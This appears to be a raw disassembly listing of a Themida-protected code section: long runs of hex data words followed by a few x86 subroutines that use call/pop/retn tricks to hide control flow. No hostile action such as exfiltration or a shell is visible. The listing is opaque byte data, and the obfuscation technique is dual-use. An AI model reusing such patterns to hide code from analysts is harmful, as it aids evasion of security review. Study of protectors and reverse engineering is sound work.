		dd 1Ah,	35C35141h, 63540764h, 958BF9C0h, 7E40595h, 8589F78Ah
		dd 7E41665h, 25F38166h,	6AD28BFFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B34C350h
		dd 0E40E3D9Dh, 0D98C6607h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0A3C35040h, 0E8AE7EFCh, 0Fh, 0FE6426C0h
		dd 0B217D114h, 0D092D63Ah, 0F0A0A54h, 68Fh, 0DDB52900h
		dd 5B07E42Bh, 0F04C1F6h, 25484h, 85316000h, 7E40065h, 0A44DCB81h
		dd 0E9611881h, 12Ch, 38A0Fh, 8B660000h,	39B58BD9h, 6A07E42Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 1346C352h, 662B0B9Bh, 81ABC381h, 5840Fh
		dd 81660000h, 81B7D5DAh, 1180C6h, 0E9535000h, 5, 412A9947h
		dd 0E95A5AA5h, 7, 92B60ECBh, 83FC63F0h,	0E4038DBDh, 850F0007h
		dd 0Eh,	0E9DBE280h, 9Ch, 15AD9D8Bh, 3E8307E4h, 8D840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0D2F1C350h, 0DFB34198h, 55006A60h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0AEBA66A0h, 0BB146AE2h, 4A1528DAh, 0E4195FFh, 896007E4h
		dd 0E4218D8Dh, 61BD8B07h, 6107E41Dh, 259FBB66h,	56006A61h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 95CCBAAAh, 0D919D8Bh, 6BE907E4h, 0FCFFFFFFh,	106C7h
		dd 850F0000h, 0Eh, 5D958B60h, 0F07E416h, 8Bh, 0DC8A6100h
		dd 4F89BD83h, 0F0507E4h, 10885h, 699D8B00h, 8B07E414h
		dd 0E41665B5h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0E6104E24h, 7D9D2BC1h
		dd 0F07E423h, 64B9D2B7h, 8B000000h, 0E42BE59Dh,	0E83E8007h
		dd 49840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9523C3C3h, 7E426B9h, 2DE9DE8Bh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0D937C352h, 8019D413h,	0FC2057Eh
		dd 6084h, 0DEB70F00h, 5890F46h,	0BA000000h, 427D6C58h
		dd 8E850F49h, 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 4B6EC350h, 0BF0F6E85h
		dd 8B6651D2h, 0EE85BD3h, 0AD000000h, 0C4E6894h,	99F4FF14h
		dd 795056C9h, 1870F29h,	0FC000000h, 0FE95Ah, 0B70F0000h
		dd 71B589DEh, 8907E435h, 0E414E9BDh, 9D035807h,	7E41519h
		dd 0DB5BD83h, 0F0007E4h, 9684h,	8800F00h, 56000000h, 209D9589h
		dd 605A07E4h, 89B6CE80h, 0E405258Dh, 2D85C607h,	5407E42Ch
		dd 6860Fh, 0F2810000h, 4AD0EC3Fh, 0E429A768h, 4359BB81h
		dd 48109FAh, 6A954D24h,	8D8D897Dh, 0FF07E421h, 0E42141B5h
		dd 6D858907h, 8D07E422h, 0E7B0A785h, 7D9D0307h,	0FF07E420h
		dd 0D19529D0h, 6A07E404h, 12E900h, 9F8C0000h, 937E7B53h
		dd 412C6C41h, 6491CA57h, 0AE2369A3h, 0DB5B5FFh,	0BD8907E4h
		dd 7E42F7Dh, 9501D0FFh,	7E413B1h, 2DBD0961h, 0C707E416h
		dd 0E4061185h, 107h, 3D958900h,	0F07E431h, 0F60D2B7h, 0E068D0BFh
		dd 669F646Ah, 817CF2BAh, 95A02404h, 0B70F609Bh,	0E9FF6AD7h
		dd 7, 3107F7B2h, 0FF355042h, 0E4160195h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 2961CFD9h, 0E40F7595h, 0BB665007h, 4897E54h,	1D958B24h
		dd 8B07E40Ah, 0E415A985h, 6DBB6607h, 0FC00BB1h,	3B84h
		dd 8E900h, 0C5590000h, 39FD1F6Dh, 95FF543Bh, 7E40049h
		dd 35958B60h, 0E807E42Bh, 14h, 1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh
		dd 0E9C702EFh, 0A9010129h, 2918589h, 615A07E4h,	141185C7h
		dd 107E4h, 0BE80000h, 0FE000000h, 283E9696h, 28D71151h
		dd 8C0FD8A0h, 2, 835ADE8Bh, 0E43231BDh,	840F0007h, 1Ah
		dd 3890Fh, 0BF0F0000h, 0F19D23DBh, 0FF07E417h, 0E40B1995h
		dd 0E2816607h, 0BD83B69Eh, 7E419B9h, 0F840F00h,	0BA000000h
		dd 739D36F6h, 0D6195FFh, 0BA6607E4h, 0BD830909h, 7E42519h
		dd 42840F00h, 0F000000h, 0BD83DABFh, 7E43345h, 32850F00h
		dd 66000000h, 0FFD583BAh, 0E4224995h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 5BC25CEDh, 339884D3h, 0DF80B4D1h, 0A9BD8316h, 7E407h
		dd 40840Fh, 0FD8A0000h,	14798581h, 400307E4h, 0DF800000h
		dd 0ED8581B5h, 307E40Eh, 6A000040h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 34C9C353h
		dd 31513109h, 0E40AF9B5h, 310F5B07h, 2A69952Bh,	8D8D07E4h
		dd 7E45E49h, 0C8C0Fh, 860F0000h, 6, 850Fh, 1890000h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2AC35242h, 0ED694517h
		dd 89D2B02Ch, 0E42BD9BDh, 57C23307h, 5ADA8B66h,	66044189h
		dd 0A7E9D381h, 6A310Fh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8E948C3h, 0DB000000h, 0A39D2FE3h
		dd 8DB45870h, 0E45E568Dh, 0B99D8907h, 8907E403h, 0C2816601h
		dd 0BB665266h, 0C2333E7Ah, 44189F9h, 14F3CA81h,	0BD832562h
		dd 7E421CDh, 1B840F00h,	0FF000000h, 0E4180195h,	0AE907h
		dd 2E8E0000h, 8D28BA4Eh, 4AD57650h, 0D7D8509h, 0BD8307E4h
		dd 7E41DF1h, 77850F01h,	9000000h, 0E41C4D85h, 6CE907h
		dd 8BF90000h, 0E45F6AB5h, 6C707h, 8B000000h, 0E45DA8B5h
		dd 6C707h, 0CF000000h, 6ADABF0Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 1357C357h
		dd 1F7E4FDAh, 7D9D31C4h, 0E807E401h, 5,	27915FC9h, 10E8CCh
		dd 0EFE40000h, 1C609D1Ah, 0F0B87F7Fh, 15DF0FC9h, 0C28117BFh
		dd 7B660292h, 0BD835B5Bh, 7E41411h, 9D840F00h, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 7698C357h, 17D5958Bh, 4EB207E4h, 1C81BD83h
		dd 0F0107E4h, 15885h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 950B0339h, 7E4356Dh, 8D8BB1B7h
		dd 7E44F7Dh, 6870Fh, 9D310000h,	7E419C5h, 6A0001C6h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h
		dd 40000000h, 9351C350h, 65B58922h, 6007E403h, 6E8h, 665D0000h
		dd 8BB96606h, 0E40A299Dh, 8B665B07h, 0A2C68D1h,	52506815h
		dd 0D287E3BAh, 66310F01h, 5A4505BAh, 24348158h,	68150AACh
		dd 6ADABF0Fh, 0E1B529FFh, 0FF07E429h, 0E4160195h, 34E2BA07h
		dd 95316A8Bh, 7E40229h,	50006A61h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 92A377C5h, 958BCDFBh
		dd 7E40749h, 6850Fh, 85310000h,	7E41C7Dh, 300595FFh, 6A07E4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 398CF7C3h, 7E30CA14h, 8166607Ah, 895529D3h, 0E400F985h
		dd 0F2816107h, 527B5D38h, 4F7D8D8Bh, 6A07E4h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A0AE7BC3h
		dd 78F6BFAEh, 6810FD6h,	8B000000h, 0E423759Dh, 8101FE07h
		dd 2FEB56F2h, 0C9BD8313h, 107E419h, 6850Fh, 9D2B0000h
		dd 7E420F5h, 27B6C08Bh,	13F1BD83h, 750007E4h, 35BD8309h
		dd 7E409h, 53501A74h, 858BC08Bh, 7E41479h, 14798589h, 9D8D07E4h
		dd 7E6E9F0h, 585BD3FFh,	935BD83h, 740007E4h, 8B535018h
		dd 0E4147985h, 79858907h, 8D07E414h, 0E6E6DF9Dh, 5BD3FF07h
		dd 0C88EBB58h, 0B70F6881h, 0E9C08BDBh, 0Fh, 1B0E560Fh
		dd 24481636h, 7A31AF90h, 83C073AAh, 0E41411BDh,	850F0007h
		dd 29h,	0DE9h, 8D2A7D00h, 8B72BFCAh, 0F2626671h, 0BD83DC3Fh
		dd 7E40B95h, 0A840F00h,	8B000000h, 0E40A799Dh, 8ABB6607h
		dd 11BD8362h, 7E414h, 3B840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E91FD6C3h
		dd 6, 0C07BAD86h, 0BD8378A1h, 7E40399h,	6840F00h, 29000000h
		dd 0E4242DBDh, 11BD8307h, 7E414h, 1C840Fh, 958B0000h, 7E400C1h
		dd 399BD83h, 0F0007E4h,	984h, 0D3BF0F00h, 0EFD9D8Bh, 0BD8307E4h
		dd 7E41411h, 1C840F00h,	0F000000h, 388h, 0BAE38000h, 1855BD83h
		dd 0F0007E4h, 684h, 49958B00h, 8307E407h, 0E41411BDh, 840F0007h
		dd 23h,	83DFBF0Fh, 0E426A9BDh, 840F0007h, 13h, 5C4DBE60h
		dd 0FF610236h, 0E4181995h, 5CDA8107h, 8B5E8BE3h, 0D38B66C0h
		dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501A74h
		dd 858BC08Bh, 7E40EEDh,	0EED8589h, 9D8D07E4h, 7E6EA57h
		dd 585BD3FFh, 935BD83h,	740007E4h, 8B535018h, 0E40EED85h
		dd 0ED858907h, 8D07E40Eh, 0E6E6F89Dh, 5BD3FF07h, 258D8958h
		dd 6A07E416h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 7EC353h, 0FEF9810h, 282h, 8BF08A00h
		dd 1393BAC0h, 8B60542Eh, 0E4061D95h, 61585107h,	1411BD83h
		dd 0F0007E4h, 4D784h, 31958900h, 8307E42Ch, 0E40B11BDh
		dd 840F0207h, 64h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 28C35242h, 0C641AD04h, 0C1BAF195h, 8976B6E6h
		dd 0E4021985h, 0F1BD8307h, 107E41Dh, 2A850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 90F9F6C3h, 0C9C848EAh, 958B0E37h, 7E4042Dh, 0D99D8B60h
		dd 8B07E415h, 0E44F7D8Dh, 0BE907h, 0E3760000h, 0B49EB158h
		dd 0A17877h, 65B5091Dh,	0FE07E41Eh, 56006A01h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FA2ABB2h
		dd 68Ch, 3DBD0900h, 0E807E40Bh,	4, 80h,	4850F50h, 66000000h
		dd 8B2737BAh, 0F042444h, 148Eh,	7E86000h, 65000000h, 0E49AD743h
		dd 0B95F13ECh, 1B0C5CA9h, 0B7008B61h, 244489F6h, 48D0F04h
		dd 66000000h, 584BCBBAh, 895958Bh, 0FF6A07E4h, 13C5BD89h
		dd 95FF07E4h, 7E41601h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 19C35747h, 0D5FD63FFh, 0BD1B2B0Fh, 0EC20BA61h
		dd 71BB74EAh, 8D12C36Dh, 0E402E5BDh, 0D99D8B07h, 8B07E415h
		dd 6A1C4Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 629F15C3h, 8B48D731h, 0E426899Dh,	6A016A07h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0DF7AC355h, 70F26DD6h, 8B8C3BD1h,	0C880FD0h
		dd 0F000000h, 68Ah, 719D8900h, 8907E423h, 0E42D01B5h, 0D48A5007h
		dd 6A240C89h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 119DC351h, 0ECCE3BABh,	0A07B4D3Dh
		dd 2441BD89h, 0DE907E4h, 0DD000000h, 10EFBA9Fh,	132D0011h
		dd 2CA3EA8h, 7026858Dh,	890F07E7h, 6, 0F1F9DA81h, 0D0FF18D6h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0B1C35040h
		dd 0FBF5BD72h, 3D55D381h, 0B5890C8Bh, 7E42045h,	0E9204F8Bh
		dd 0Dh,	401DA51Dh, 6F0DF8A1h, 68ADB7Ch,	80036A92h, 0B350AAE2h
		dd 240C89D8h, 18D18501h, 858D07E4h, 7E77026h, 10E8h, 55062700h
		dd 65273009h, 8CB0A6F6h, 9E7F7560h, 5E9BAh, 42D00000h
		dd 5B2C04F9h, 0FFDAB70Fh, 198B0FD0h, 0E8000000h, 0Dh, 3080B518h
		dd 0C6AD3314h, 0D51B4309h, 0A58D091Dh, 5A07E405h, 2E5BD8Dh
		dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0AA2D61C3h, 0F05199ECh, 0B589D5A8h, 7E41AC1h
		dd 0F1C4F8Bh, 16AD3B7h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0A4C35141h, 0B2E280D0h, 0C94BB50h, 0C891B48h
		dd 75850924h, 8D07E42Fh, 0E7702685h, 0B5953307h, 0FF07E418h
		dd 57006AD0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0F2FD2E4Fh, 89501B60h, 0E42681B5h, 204F8B07h
		dd 5227CB80h, 5ADBB70Fh, 6A036Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 897CC3C3h, 0E40A65BDh
		dd 0BB669107h, 0B2506D7Dh, 0BB669106h, 858DDCDEh, 7E77026h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 42C35141h
		dd 0C80F5C68h, 45981686h, 28B0F74h, 8A000000h, 0E18D89D1h
		dd 0FF07E422h, 56006AD0h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 4651D700h, 4F7D8D8Bh
		dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 8B66BCC3h, 6A01FED9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0ACAAC350h
		dd 0F5FCB0B6h, 0C8A86DC4h, 0A719D8Bh, 858B07E4h, 7E44F7Dh
		dd 0DCE88160h, 0E9133437h, 0Ch,	455A966Ah, 0DE55DD3Eh
		dd 8C1C9FAFh, 8000FE61h, 16AB1E2h, 4E8BDB2h, 0FF000000h
		dd 8BFFFF9Fh, 8B6650DAh, 24448BD3h, 8B525004h, 60310FD6h
		dd 0B4FF44BEh, 0F52504Ch, 61585A31h, 8B585Ah, 89DA8B66h
		dd 0BA042444h, 78E2E60Ah, 0DB816658h, 858D7396h, 7E77030h
		dd 0A358D09h, 8D3107E4h, 7E4321Dh, 6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0A0C44C3h
		dd 856C6872h
		dd 0B95BD83h, 0F0007E4h, 0DA84h, 89958B00h, 8307E423h
		dd 0E42015BDh, 850F0107h, 0C7h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 62C35040h, 0BB66C5F6h, 8D8D7E94h
		dd 7E7703Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0EBC35747h, 6AD38B66h, 158D8903h, 6A07E425h, 9D896001h
		dd 7E402BDh, 61FAB70Fh,	8166D1FFh, 0F9401FCAh, 13E8016Ah
		dd 54000000h, 0B8DA0248h, 7D7EBD85h, 0A67EC4F0h, 0CAB14C88h
		dd 8B66942Bh, 81665AD1h, 6A0072F2h, 15958B01h, 8907E430h
		dd 0E42A4DBDh, 1D1FF07h, 0E4278DBDh, 0E80BB707h, 0F8776D59h
		dd 0A98589h, 6E807E4h, 0FA000000h, 0F2BAB8D9h, 0CE967h
		dd 98950000h, 0AF677B7Ah, 30F16BEEh, 6A5A58BFh,	53006A20h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 508E98F9h, 21659D8Bh, 6A5B07E4h, 0F810FFFh, 0E9000000h
		dd 0Ah,	0EB061534h, 0B4B8035Fh,	95FFC579h, 7E41601h, 0E4DB589h
		dd 0B807E4h, 0BB000000h, 42FFBE78h, 840FC00Bh, 80h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F7C35242h, 7DCB27A6h
		dd 897D26FBh, 0E41C1585h, 35958B07h, 8307E42Dh,	0E42471BDh
		dd 840F0007h, 44h, 95FFDA8Bh, 7E41F91h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 2EC35141h, 13E837h
		dd 8FD20000h, 3FEFEF1Fh, 3DF16E33h, 0B0BD8FE0h,	0D08154FDh
		dd 458D896Dh, 5A07E40Eh, 1EB5858Bh, 0E28007E4h,	12E95219h
		dd 0E9000000h, 0E92A7187h, 54BC72F6h, 0E14682C6h, 1C0E51EFh
		dd 0C65BADh, 9E800h, 0E5510000h, 5D7C9921h, 8120EFCAh
		dd 0CFEC30D3h, 0F585B37h, 689h,	6EEB8100h, 6665DCC7h, 6AD98Ch
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F65D78C3h, 840F04C1h, 0AFh,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 62C35040h, 0B704F663h, 11CB80A3h
		dd 86E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0BD402976h, 0BA37C50Bh, 2B85B7D7h
		dd 0E418459Dh, 0B8EB8107h, 8B3CFC8Bh, 0E42D39B5h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0E1738149h, 6A4D5212h, 0F51FF94h, 815ADEBFh,	1180C6h
		dd 0E19D0B00h, 0C707E41Ch, 6, 6E800h, 0E2E20000h, 1835FA25h
		dd 1E4D9D89h, 5E5B07E4h, 0F883F8h, 0AB6840Fh, 9CBB0000h
		dd 0F528EAEAh, 0F01F883h, 12385h, 0D0B70F00h, 0B8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0CE965h, 5EC30000h, 0F51DEFFh, 0E2C96D77h, 0C00B7D7Ah
		dd 7D840Fh, 9D230000h, 7E41D21h, 0F01F883h, 0AF84h, 0A5958B00h
		dd 8307E415h, 840F03F8h, 39h, 1A05BD29h, 0EE807E4h, 0CA000000h
		dd 863837A3h, 2C348606h, 980A1249h, 69850909h, 5A07E40Ah
		dd 958BC02Bh, 7E42641h,	89E0BD8Dh, 9D8B005Bh, 7E4096Dh
		dd 0BF0FE7FFh, 1B8D7h, 860F0000h, 6, 0EB72E281h, 0BD8D62BFh
		dd 5B89E0h, 0FE7FFF5h, 68Eh, 599D8B00h,	8D07E42Ah, 0E44609BDh
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 22A29EF7h, 6D55822Fh, 8A0F60B7h,	1, 1E5E9F8h
		dd 0F500000h, 282h, 5BFA8A00h, 4FD885C7h, 507E4h, 26BB0000h
		dd 0B808B27Ah, 5, 3850Fh, 0C2800000h, 8C7E94Fh,	958B0000h
		dd 7E42EB5h, 0F02F883h,	0B985h,	14E800h, 79B0000h, 0ED369055h
		dd 0FF6F8603h, 0F8A91FF9h, 31D1C6C5h, 800F3DE4h, 6, 18FDBD89h
		dd 895A07E4h, 0E406E9BDh, 0B807h, 0D7800000h, 0FC00B77h
		dd 6684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 5739610Ah, 74BA82F2h, 1E61958Bh
		dd 0F88307E4h, 61840F01h, 81FFFFFFh, 0B9664DC2h, 3F88315h
		dd 0FEEB840Fh, 958BFFFFh, 7E40155h, 0B8h, 0B58D0100h, 8D07E416h
		dd 5B89E0BDh, 0C19D3300h, 0FF07E41Ah, 0FD9D8BE7h, 8D07E40Eh
		dd 0E44801BDh, 0ECA8107h, 0E915A2FDh, 0F7h, 15698589h
		dd 0F88307E4h, 1B850F03h, 1000000h, 0E41D6DB5h,	95BD8D07h
		dd 6607E449h, 0E508D381h, 0D2E9h, 0E3816600h, 0F8831D00h
		dd 2C850F05h, 1000000h,	0E42339BDh, 7C7E907h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 388ED7C3h, 83F1FD27h, 850F06F8h, 26h, 22518529h, 0BD8D07E4h
		dd 7E44B8Dh, 0C810Fh, 890F0000h, 6, 1901958Bh, 6CE907E4h
		dd 80000000h, 0F88367DAh, 39850F07h, 8B000000h,	0E406619Dh
		dd 59BD8D07h, 6A07E433h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8BE3C350h, 0E4019195h
		dd 0E7E907h, 958B0000h,	7E42469h, 0F0AF883h, 1E85h, 16BB6600h
		dd 85BD8DFCh, 5607E44Dh, 0CE95AF8h, 0F000000h, 688h, 91958B00h
		dd 5707E423h, 30B9D88Bh, 8046DBE5h, 3F83ABE6h, 9F840F00h
		dd 29000000h, 0E408CD9Dh, 6A0F3007h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 21A0C356h
		dd 0DF8BAC0Eh, 6AC9D1h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0EBD02FC3h, 6A472FB1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 89E4C357h, 0E431D18Dh, 0FF84E907h, 6AFFFFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 990F33C3h, 958BAAE2h, 7E41D7Dh, 1259D8Bh, 895F07E4h
		dd 0E4264DB5h, 81BD8907h, 8B07E44Fh, 0E4036D95h, 0C18D8D07h
		dd 6A07E430h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 62C351h, 0CB344314h, 65B5FFC8h
		dd 8B07E416h, 0E41DF59Dh, 0D6858D07h, 5007E6DBh, 56EBBD8Dh
		dd 8D8D07E4h, 7E46F50h,	831ABCB8h, 30CF2B54h, 47C8D007h
		dd 8DF87549h, 0E46EEFB5h, 688D8D07h, 2B07E46Fh,	33A4F3CFh
		dd 0B8C9h, 0C00B0000h, 0BD834674h, 7E42471h, 0FF067400h
		dd 0E41F9195h, 81B58B07h, 8D07E44Fh, 0E6DBD685h, 8DD0FF07h
		dd 0E443E785h, 0C7D0FF07h, 0E40E6585h, 107h, 49A58B00h
		dd 8B07E406h, 0E40F11B5h, 71AD8B07h, 3307E412h,	0CC2C0h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3C35040h
		dd 0D22F725Bh, 6AF8F8h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 441CD7C3h, 1DBD83B8h, 7E423h, 19840Fh
		dd 0BA600000h, 1C7F0834h, 27AD8D03h, 0FF6107E4h, 0E421E195h
		dd 559D8B07h, 8307E416h, 0E4038DBDh, 850F0007h,	27Ch, 8303C680h
		dd 0E42015BDh, 850F0107h, 26Ch,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0DEC35040h,	3CE809BDh, 0BBCABEBBh
		dd 7C6DDD91h, 0AD9BD83h
		dd 0F0007E4h, 23784h, 0FD78B00h, 684h, 0A59D0100h, 8307E431h
		dd 0E44FD4BDh, 840F0007h, 21Ch,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 5EC35141h, 2C05958Bh, 0E95607E4h
		dd 0Fh,	0A1583351h, 71B43060h, 795305D9h, 5BE24DDAh, 0DBD6858Dh
		dd 8D8907E6h, 7E42AE1h,	32958D29h, 0B58B07E4h, 7E44F81h
		dd 5E4CBA66h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0B3DCAC3h, 0CBDF4545h, 0C654CDD5h
		dd 0E42C2D85h, 66605407h, 0A039EF81h, 18DD9529h, 0E86107E4h
		dd 4, 0FF4EBEF4h, 629EBB60h, 94BF51E3h,	61258674h, 9E95650h
		dd 0C8000000h, 4DA818F5h, 4313CEB8h, 24448B5Ah,	8BD88B04h
		dd 19840F00h, 0E9000000h, 14h, 5673206Bh, 6D142ACAh, 835ABC38h
		dd 5EE80BBAh, 7D99336h,	4244489h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0DABFA2BDh
		dd 5D33C453h, 0BD295167h, 7E40669h, 19DB5FFh, 0F85707E4h
		dd 0D8B70F5Ah, 3BDC858Dh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 81360CC3h, 329DCC22h
		dd 9D23B80Ah, 7E419CDh,	1CBBD0FFh, 0F397708h, 68Ch, 7DBD2900h
		dd 6A07E42Ah, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0B138289Fh, 10E8h, 23184600h, 7F63214Fh
		dd 7417D3BCh, 806756A6h, 5D958BF2h, 5B07E418h, 0D08BFF6Ah
		dd 6E98501h, 0D0FF07E4h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0F3C35545h, 7D280A42h, 0D81958Bh, 0B5FF07E4h
		dd 7E403ADh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	9CC35040h, 84496616h, 4059A42Eh, 95FFD08Bh, 7E41665h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E7C35747h
		dd 0E1E874F1h, 4F81B58Bh, 0C3F907E4h, 2DD5B531h, 0B58B07E4h
		dd 7E41EB5h, 66E38166h,	0FF60B9Ch, 3584h, 0EE900h, 29150000h
		dd 0DA2A9865h, 6CB4FD50h, 81873931h, 6A0006C6h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 65B7C353h, 85894246h, 7E44F89h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0C9C35242h,	1F830F22h, 0E8000000h
		dd 0Ch,	0A115614Eh, 8876EDBBh, 0FE855B3Ch, 7E8h, 0AD49F100h
		dd 47248D34h, 0F8835B5Bh, 0BD840F00h, 6A000002h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 76B3C356h, 0E18BBB66h, 0B8D48Ah, 8B000000h, 0F883D3h
		dd 71840Fh, 83F80000h, 850F02F8h, 37h, 1F198D89h, 858D07E4h
		dd 7E44604h, 16AD9589h,	292D07E4h, 3000009h, 0E4251195h
		dd 66609007h, 66864CBFh, 5061CB8Bh, 90D98B66h, 0DC8ABA66h
		dd 0F19D8BC3h, 0B807E420h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+7E42511h],	edi
		jmp	loc_589A98
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_58986A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58986A	proc near		; CODE XREF: Themida_:00589862p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_58986A	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		stosb
		lea	ecx, [edx-4]
		mov	eax, 1
		lea	edi, [ebp+7E44609h]
		and	bx, 80A0h
		jmp	loc_589978
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58989F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58989F	proc near		; CODE XREF: Themida_:00589897p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_58989F	endp

; ---------------------------------------------------------------------------
		inc	ebp
		aam	7Bh
		mov	bx, 0E63Ah
		cmp	eax, 2
		jnz	loc_589937
		push	0
		push	ecx
		call	sub_5898CA
